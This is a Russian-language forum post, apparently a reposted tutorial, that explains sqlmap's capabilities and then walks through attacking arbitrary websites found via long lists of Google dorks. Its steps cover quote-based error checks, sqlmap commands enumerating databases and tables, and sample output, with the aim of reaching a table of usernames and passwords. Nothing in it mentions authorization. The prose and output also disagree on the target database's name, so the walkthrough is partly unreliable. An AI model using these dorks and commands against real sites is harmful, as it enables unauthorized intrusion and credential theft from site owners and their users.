SQLMAP-обнаружение и эксплуатация SQL инъекции: детальное разъяснение (часть 1)

  • Автор темы Gidroponika
  • Дата начала
G

Gidroponika

324d4b2ec53582166892b.png

Sqlmap является инструментом для тестирования на проникновение с открытым исходным кодом, который автоматизирует процесс обнаружения и эксплуатации недостатков SQL-инъекций и захвата серверов баз данных.



Он оснащен мощным механизмом обнаружения, множеством функций конечного тестировщика на проникновения и широким спектром коммутаторов, который начинается от определения базы данных и выбора данных из нее, вплоть до доступа к базовой файловой системе и выполнения команд в операционной системе через внеполосное соединение.



Будущее инструмента:
  • Полная поддержка систем управления базами данных MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase, SAP MaxDB, HSQLDB и Informix.
  • Полная поддержка шести методов SQL-инъекций: boolean-based blind, time-based blind, error-based, UNION query-based, stacked queries и out-of-band.
  • Поддержка прямого подключения к базе данных без прохождения через SQL-инъекцию, путем предоставления учетных данных СУБД (система управления базой данных (DBMS)), IP-адреса, имени порта и названия базы данных.
  • Поддержка перечисления пользователей, хэшей паролей, прав доступа, ролей, баз данных, таблиц и столбцов.
  • Автоматическое распознавание хэш-форматов пароля и поддержка их взлома при использовании атаки перебора по словарю (dictionary-based attack).
  • Поддержка полного сброса таблиц базы данных, диапазон записей для сброса или конкретных столбцов выбирает пользователь. Также пользователь может выбрать сброс всего диапазона символов из каждой записи столбца.
  • Поддержка поиска конкретных имен баз данных, конкретных таблиц во всех базах данных или отдельных столбцах во всех таблицах баз данных. Это довольно полезно, например, для определения таблиц, содержащих пользовательские учетные данные приложения, где имена соответствующих столбцов содержат строку, такую как имя и пароль.
  • Поддержка скачивания (download) и загрузки (upload) любого файла с базы данных, лежащей в основе файловой системы, когда программным обеспечением базы данных являются MySQL, PostgreSQL или Microsoft SQL Server.
  • Поддержка выполнения случайных команд и получение их стандартного вывода на сервере базы данных, лежащем в основе операционной системы, когда программным обеспечением базы данных являются MySQL, PostgreSQL или Microsoft SQL Server.
  • Поддержка создания внеполосного TCP-соединения с учетом его состояния между машиной злоумышленника и сервером базы данных, лежащим в основе операционной системы. Этот канал может быть интерактивной командной строкой, сеансом Meterpreter или сеансом графического интерфейса пользователя (VNC) по выбору пользователя.
  • Поддержка увеличения прав доступа пользователей базы данных с помощью команды metasploit Meterpreter getsystem.
Техники и методы:
sqlmap способна определять и эксплуатировать пять различных типов SQL инъекций, таких как:



Boolean-based blind:

  • sqlmap заменяет или добавляет к пораженному параметру в HTTP-запросе, синтаксически корректную строку предложения SQL, содержащую субпредложение SELECT, или любое другое предложение SQL, пользователь которого хочет получить вывод.
  • Для каждого отклика HTTP путем сопоставления headers/body HTTP-отклика с исходным запросом инструмент выводит вывод введенного предложения символ за символом. Кроме того, пользователь может предоставить строку или регулярное выражение для соответствия на настоящих страницах.
  • Алгоритм деления пополам, реализованный в sqlmap для выполнения этой методики, способен извлекать каждый символ вывода с максимальным количеством семи HTTP-запросов.
  • Если вывод не находится в четкой текстовой кодировке, sqlmap будет адаптировать алгоритм с более большим диапазонами для определения вывода.
Time-based blind:

  • sqlmap заменяет или добавляет к пораженному параметру в HTTP-запросе, синтаксически корректную строку предложения SQL, содержащую запрос, который приостанавливает внутренний СУБД (система управления базой данных (DBMS)) на определенное количество секунд.
  • Для каждого отклика HTTP путем сопоставления headers/body HTTP-отклика с исходным запросом инструмент выводит вывод введенного предложения символ за символом. Как и для Boolean-based метода, применяется алгоритм деления пополам.
Error-based:

  • sqlmap заменяет или добавляет к пораженному параметру конкретное сообщение об ошибке базы данных, вызывая предложения и анализируя headers и body отклика HTTP в поисках сообщений об ошибках СУБД (система управления базой данных (DBMS)), содержащих введенную предварительно определенную цепочку символов и вывод подзапроса предложения внутри.
  • Этот метод работает только тогда, когда веб-приложение настроено для раскрытия системных сообщений об ошибках системы управления базой данных.
UNION query-based:

  • sqlmap заменяет или добавляет к пораженному параметру синтаксически корректную строку предложения SQL, которая начинается с UNION ALL SELECT. Этот метод работает, когда страница веб-приложения передает непосредственно вывод предложения SELECT в цикле for или аналогично, так что каждая строка вывода запроса печатается на содержимом страницы.
  • sqlmap также может использовать частичные (одиночные записи) уязвимости UNION query SQL инъекции, которые возникают, когда вывод предложения не циклируется в логической структуре for, тогда как отображается только первая запись вывода запроса.
Stacked queries:

  • также известна как piggy backing: sqlmap проверяет, поддерживает ли веб-приложение многострочные запросы, а затем, если оно поддерживает, добавляет к пораженному параметру в HTTP-запросе, в котором используется точка с запятой ( ; ) с предложением SQL, которое должно быть выполнено.
  • Этот метод полезен для запуска предложений SQL, помимо SELECT, как например, для определения данных или предложений манипулирования данными, что может привести к выполнению команд чтения и записи файловой системы и операционной системы в зависимости от лежащей в основе системы управления базами данных и правами доступа пользователя сеанса.
Поиск уязвимого вебсайта:
Обычно это самый сложный бит и занимает больше времени, чем любые другие шаги. Те, кто знает, как использовать Google Dorks, знают об этом уже, но в случае, если вы не сталкивались с этим ранее, я собрал несколько строк, которые вы можете забить в поиск в Google. Просто скопируйте любую из строк в Google, и Google покажет вам ряд результатов поиска.



Google dork:

Google dorks - их оставляют сотрудники, которые неосознанно предоставляют конфиденциальную корпоративную информацию в Интернете. Слово dork является сленгом для малозначительного или малоспособного человека.



Google dork ставит под угрозу корпоративную информацию, потому что они невольно создают бэкдоры, которые позволяют злоумышленнику войти в сеть без разрешения и/или получить доступ к несанкционированной информации. Чтобы найти конфиденциальную информацию, злоумышленники используют расширенные строки поиска, называемые запросами Google dork.



Строки Google Dorks для поиска уязвимого веб-сайта для SQLMAP SQL для инъекций:

Код:
inurl:item_id=
inurl:newsid=
inurl:trainers.php?id=
inurl:news-full.php?id=
inurl:news_display.php?getid=
inurl:index2.php?option=
inurl:readnews.php?id=
inurl:top10.php?cat=
inurl:newsone.php?id=
inurl:event.php?id=
inurl:product-item.php?id=
inurl:sql.php?id=
inurl:index.php?catid=
inurl:news.php?catid=
inurl:index.php?id=
inurl:news.php?id=
inurl:index.php?id=
inurl:trainers.php?id=
inurl:buy.php?category=
inurl:article.php?ID=
inurl:play_old.php?id=
inurl:declaration_more.php?decl_id=
inurl:pageid=
inurl:games.php?id=
inurl:page.php?file=
inurl:newsDetail.php?id=
inurl:gallery.php?id=
inurl:article.php?id=
inurl:show.php?id=
inurl:staff_id=
inurl:newsitem.php?num=
inurl:readnews.php?id=
inurl:top10.php?cat=
inurl:historialeer.php?num=
inurl:reagir.php?num=
inurl:Stray-Questions-View.php?num=
inurl:forum_bds.php?num=
inurl:game.php?id=
inurl:view_product.php?id=
inurl:newsone.php?id=
inurl:sw_comment.php?id=
inurl:news.php?id=
inurl:avd_start.php?avd=
inurl:event.php?id=
inurl:product-item.php?id=
inurl:sql.php?id=
inurl:material.php?id=
inurl:clanek.php4?id=
inurl:announce.php?id=
inurl:chappies.php?id=
inurl:read.php?id=
inurl:viewapp.php?id=
inurl:viewphoto.php?id=
inurl:rub.php?idr=
inurl:galeri_info.php?l=
Код:
inurl:review.php?id=
inurl:iniziativa.php?in=
inurl:curriculum.php?id=
inurl:labels.php?id=
inurl:story.php?id=
inurl:look.php?ID=
inurl:newsone.php?id=
inurl:aboutbook.php?id=
inurl:material.php?id=
inurl:eek:pinions.php?id=
inurl:announce.php?id=
inurl:rub.php?idr=
inurl:galeri_info.php?l=
inurl:tekst.php?idt=
inurl:newscat.php?id=
inurl:newsticker_info.php?idn=
inurl:rubrika.php?idr=
inurl:rubp.php?idr=
inurl:eek:ffer.php?idf=
inurl:art.php?idm=
inurl:title.php?id=
inurl:news_view.php?id=
inurl:select_biblio.php?id=
inurl:humor.php?id=
inurl:aboutbook.php?id=
inurl:eek:gl_inet.php?ogl_id=
inurl:fiche_spectacle.php?id=
inurl:communique_detail.php?id=
inurl:sem.php3?id=
inurl:kategorie.php4?id=
inurl:news.php?id=
inurl:index.php?id=
inurl:faq2.php?id=
inurl:show_an.php?id=
inurl:preview.php?id=
inurl:loadpsb.php?id=
inurl:eek:pinions.php?id=
inurl:spr.php?id=
inurl:pages.php?id=
inurl:announce.php?id=
inurl:clanek.php4?id=
inurl:participant.php?id=
inurl:download.php?id=
inurl:main.php?id=
inurl:review.php?id=
inurl:chappies.php?id=
inurl:read.php?id=
inurl:prod_detail.php?id=
inurl:viewphoto.php?id=
inurl:article.php?id=
inurl:person.php?id=
inurl:productinfo.php?id=
inurl:showimg.php?id=
inurl:view.php?id=
inurl:website.php?id=

Код:
inurl:hosting_info.php?id=
inurl:gallery.php?id=
inurl:rub.php?idr=
inurl:view_faq.php?id=
inurl:artikelinfo.php?id=
inurl:detail.php?ID=
inurl:index.php?=
inurl:profile_view.php?id=
inurl:category.php?id=
inurl:publications.php?id=
inurl:fellows.php?id=
inurl:downloads_info.php?id=
inurl:prod_info.php?id=
inurl:shop.php?do=part&id=
inurl:productinfo.php?id=
inurl:collectionitem.php?id=
inurl:band_info.php?id=
inurl:product.php?id=
inurl:releases.php?id=
inurl:ray.php?id=
inurl:produit.php?id=
inurl:pop.php?id=
inurl:shopping.php?id=
inurl:productdetail.php?id=
inurl:post.php?id=
inurl:viewshowdetail.php?id=
inurl:clubpage.php?id=
inurl:memberInfo.php?id=
inurl:section.php?id=
inurl:theme.php?id=
inurl:page.php?id=
inurl:shredder-categories.php?id=
inurl:tradeCategory.php?id=
inurl:product_ranges_view.php?ID=
inurl:shop_category.php?id=
inurl:transcript.php?id=
inurl:channel_id=
inurl:aboutbook.php?id=
inurl:preview.php?id=
inurl:loadpsb.php?id=
inurl:pages.php?id=
about.php?cartID=
accinfo.php?cartId=
add-to-cart.php?ID=
addToCart.php?idProduct=
addtomylist.php?ProdId=


Шаг 1: Первоначальная проверка для того, чтобы убедиться, что сайт уязвим для SQLMAP SQL инъекции

Для каждой строки указанной выше вы получите сотни результатов поиска, но как вы узнаете, какой из них действительно уязвим для SQLMAP SQL инъекции. Есть несколько способов, и я уверен, что люди будут спорить, какой из них лучше, но для меня следующее является самым простым и самым убедительным.



Предположим, вы искали эту строку inurl:item_id= и один из результатов поиска Google показывает такой веб-сайт:


Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.



Просто добавьте знак кавычек ‘ в конце URL-адреса. (Только предварительно убедитесь, что " это двойная кавычка, а знак" ‘ "- одиночная кавычка).



Итак, теперь ваш URL-адрес будет выглядеть следующим образом:


Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

'

Если страница возвращает ошибку SQL, страница уязвима для SQLMAP SQL инъекции. Если она загружает или перенаправляет вас на другую страницу, перейдите на следующий сайт на странице результатов поиска Google.



Смотрите пример ошибки ниже на скриншоте. Я скрыл все, включая URL и дизайн страниц по очевидным причинам.

0da38daf57678590ad9b9.png

Примеры ошибок SQLi из разных баз данных и языков



Microsoft SQL Сервер

Ошибка сервера в ‘/’ приложении. Незакрытая кавычка перед символьной строкой 'attack;'.



Описание: Необработанное исключение возникло во время выполнения текущего веб-запроса. Просмотрите трассировку стека для получения дополнительной информации об ошибке, когда она возникла в коде.



Сведения об исключении: System.Data.SqlClient.SqlException: незакрытая кавычка перед символьной строкой 'attack;'.



Ошибки MySQL

Предупреждение: mysql_fetch_array (): предоставленный аргумент не является допустимым MySQL результатом ресурса в /var/www/myawesomestore.com/buystuff.php в строке 12



Ошибка: У вас есть ошибка в синтаксисе SQL: проверьте руководство, соответствующее версии вашего сервера MySQL, для правильного синтаксиса, используемого рядом с ‘’’ в строке 12



Ошибки Oracle

java.sql.SQLException: ORA-00933: команда SQL не была закончена в oracle.jdbc.dbaaccess.DBError.throwSqlException (DBError.java:180) в oracle.jdbc.ttc7.TTIoer.processError (TTIoer.java:208)



Ошибка: SQLExceptionjava.sql.SQLException: ORA-01756: строка с кавычками не завершена



Ошибки PostgreSQL

Запрос не выполнен: ОШИБКА: незавершенная строка с кавычками в или рядом с “‘’’”



Шаг 2: Перечисление СУБД баз данных с использованием SQLMAP SQL инъекции:

Как вы можете видеть на скриншоте выше, я нашел веб-сайт уязвимый к SQLMAP SQL инъекции. Теперь мне нужно перечислить все базы данных в этой уязвимой базе данных. (это также называется перечислением числа столбцов). Ввиду того, что я использую SQLMAP, он также скажет мне, какая именно уязвима.



Запустите следующую команду на вашем уязвимом веб-сайте.

sqlmap -u

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

--dbs

Здесь:

sqlmap = Название sqlmap двоичного файла

-u = Целевой URL-адрес (e.g. “

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

)

–dbs = Перечислить СУБД базы данных



Смотрите скриншот ниже.

013d90d164f99baea2ba0.png

Эти команды показывают немало интересной информации:

web application technology: Apache
back-end DBMS: MySQL 5.0
[10:55:53] [INFO] retrieved: information_schema
[10:55:56] [INFO] retrieved: gbhackers
[10:55:56] [INFO] fetched data logged to text files under
'/usr/share/sqlmap/output/

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

'

Итак, теперь у нас есть две базы данных, которые мы можем изучить. information_schema - стандартная база данных почти для каждой MYSQL базы данных. Поэтому нас интересует база данных clemcoindustries.



Шаг 3: Список таблиц целевой базы данных с использованием SQLMAP SQL инъекции:

Теперь нам нужно знать, сколько таблиц получила база данных clemcoindustries и каковы их имена. Чтобы узнать эту информацию, используйте следующую команду:

sqlmap -u

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

-D
clemcoindustries --tables

эта база данных имеет 8 таблиц.

[10:56:20] [INFO] fetching tables for database: 'gbhackers'
[10:56:22] [INFO] heuristics detected web page charset 'ISO-8859-2'
[10:56:22] [INFO] the SQL query used returns 8 entries
[10:56:25] [INFO] retrieved: item
[10:56:27] [INFO] retrieved: link
[10:56:30] [INFO] retrieved: other
[10:56:32] [INFO] retrieved: picture
[10:56:34] [INFO] retrieved: picture_tag
[10:56:37] [INFO] retrieved: popular_picture
[10:56:39] [INFO] retrieved: popular_tag
[10:56:42] [INFO] retrieved: user_info

f2073b802fee48f9734d7.png

и, конечно, мы хотим проверить, что внутри таблицы user_info, используя SQLMAP SQL инъекцию, поскольку эта таблица, вероятно, содержит имя пользователя и пароли.
 
  • Like
Реакции: Живой_мертвый